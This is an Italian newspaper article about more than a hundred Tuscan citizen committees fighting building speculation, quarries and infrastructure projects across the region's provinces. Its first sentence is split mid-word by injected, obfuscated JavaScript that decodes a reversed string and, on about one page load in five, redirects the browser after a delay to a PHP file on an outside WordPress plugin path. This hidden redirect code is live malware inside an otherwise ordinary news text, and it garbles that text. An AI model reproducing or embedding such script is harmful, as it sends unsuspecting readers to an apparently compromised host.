Come si devasta e come si difende la regione Toscana

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di FRANCESCO ERBANI

Erano settantacinque in marzo, qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando a Firenze fu varato il coordinamento presieduto da Alberto Asor Rosa. Ora, a pochi giorni dall´assemblea che si terrà sabato sempre nel capoluogo toscano, i comitati sorti a tutela di un paesaggio o di un centro storico minacciati sono diventati più di cento. E altri potrebbero aggiungersene, mentre proseguono i contatti con i comitati di altre regioni – il Veneto, la Liguria o l´Umbria.
Finora il coordinamento ha provveduto a censire i comitati e le locali sezioni delle associazioni nazionali, da Italia Nostra al Wwf e a Legambiente. Ed ha messo insieme un poderoso dossier con tutti i conflitti ambientali che si manifestano nella regione Toscana, diventata la punta di questo esperimento di partecipazione popolare. Il dossier è formato di tante schede.
Ogni gruppo ha elaborato una brevissima descrizione di sé, della propria storia, del perché e quando è stato formato, di quanti sono i suoi componenti. E ha poi descritto le vertenze in corso.
Ne viene fuori una mappa di tutte le manomissioni del territorio, delle insensatezze urbanistiche in una regione fra le più ricche di valori paesaggistici e per questo fra le più appetite da chi investe nel mattone. Secondo i dati Istat citati dal Comitato per la bellezza, presieduto da Vittorio Emiliani, dal 1999 al 2003 la Toscana ha perso 169 mila ettari di territorio a causa del cemento per case, stabilimenti industriali e infrastrutture, con un´erosione del 10,2 per cento della sua superficie, un´erosione superiore alla media italiana (9,5 per cento) e persino a quella di regioni come il Lazio che, pur comprendendo Roma dove l´edificazione galoppa, si ferma al 9,2.
La mappa delle cementificazioni contestate comprende tutte le province toscane. In quella di Siena spiccano le lottizzazioni a San Severo, a Le Vigne e a Bagnaia; l´ampliamento dell´aeroporto di Ampugnano e della cava di Malintoppo a San Quirico d´Orcia.
L´intera Val d´Orcia è minacciata da insediamenti di seconde case (oltre Monticchiello, Contignano, Campiglia e Montalcino) e di grandi alberghi (Bagno Vignoni, Montalcino e Pienza). Sotto accusa un´area industriale a Monteriggioni e un´altra che potrebbe sorgere a Gaiole in Chianti, dove molte proteste suscitano anche le enormi cave di Montegrossi. Molte anche le tensioni a Siena, dove Italia Nostra si oppone al parcheggio interrato di via Garibaldi e alla costruzione di una bretella tangenziale davanti alla Basilica dell´Osservanza.
Tantissimi i conflitti a Firenze, dove i comitati hanno dato vita da tempo a un coordinamento che alle ultime elezioni comunali ha sostenuto un proprio candidato, Ornella De Zordo, il cui 12 per cento ha costretto il sindaco uscente, il diessino Leonardo Domenici, ad andare al ballottaggio con un esponente del centrodestra. Fra le ultime iniziative dei comitati fiorentini un voluminoso Studio di Impatto Ambientale, elaborato da docenti dell´università, contro il tunnel che dovrebbe consentire ai treni ad alta velocità di attraversare il sottosuolo di Firenze.
A Pistoia è accaduta una vicenda analoga a quella di Firenze. Alle recenti elezioni comunali i comitati hanno appoggiato il verde Giovanni Capecchi, che ha collezionato un buon 13 per cento, costringendo anche qui il sindaco Renzo Berti a vedersela nel ballottaggio con il candidato del centrodestra, battuto poi di misura. Il conflitto più duro fra i comitati e l´amministrazione si è verificato sulla costruzione di un ospedale in un´area giudicata non idonea perché, fra le altre cose, depressa rispetto ai corsi d´acqua e a rischio di esondazione.
A Prato un comitato lotta contro un parcheggio da novecento posti sotto Piazza Mercatale. A Pisa è attivissima un´associazione contro la costruzione di un porto turistico e un villaggio da 170 mila metri cubi a Boccadarno, ai bordi del parco di Migliarino, San Rossore e Massaciuccoli. Nella Val di Magra, fra Toscana e Liguria, ci si batte contro il «Progetto Marinella», un enorme insediamento turistico. Fittissimo il contenzioso a Lucca, dove Italia Nostra fronteggia l´edificazione nel parco di Villa storica a Coselli, le costruzioni a Capannori, la trasformazione di serre in appartamenti a San Macario. La speculazione edilizia, denuncia un comitato, incombe su Impruneta, mentre a San Casciano uno stabilimento della Laika minaccia il fondovalle della Pesa.
Pericoli gravano a Bagno a Ripoli e a Fiesole. A Fucecchio, infine, un comitato protesta contro l´imponente edificio che sostituirà il teatro Pacini, nella piazza dedicata a un illustre figlio di questo paese toscano, Indro Montanelli.

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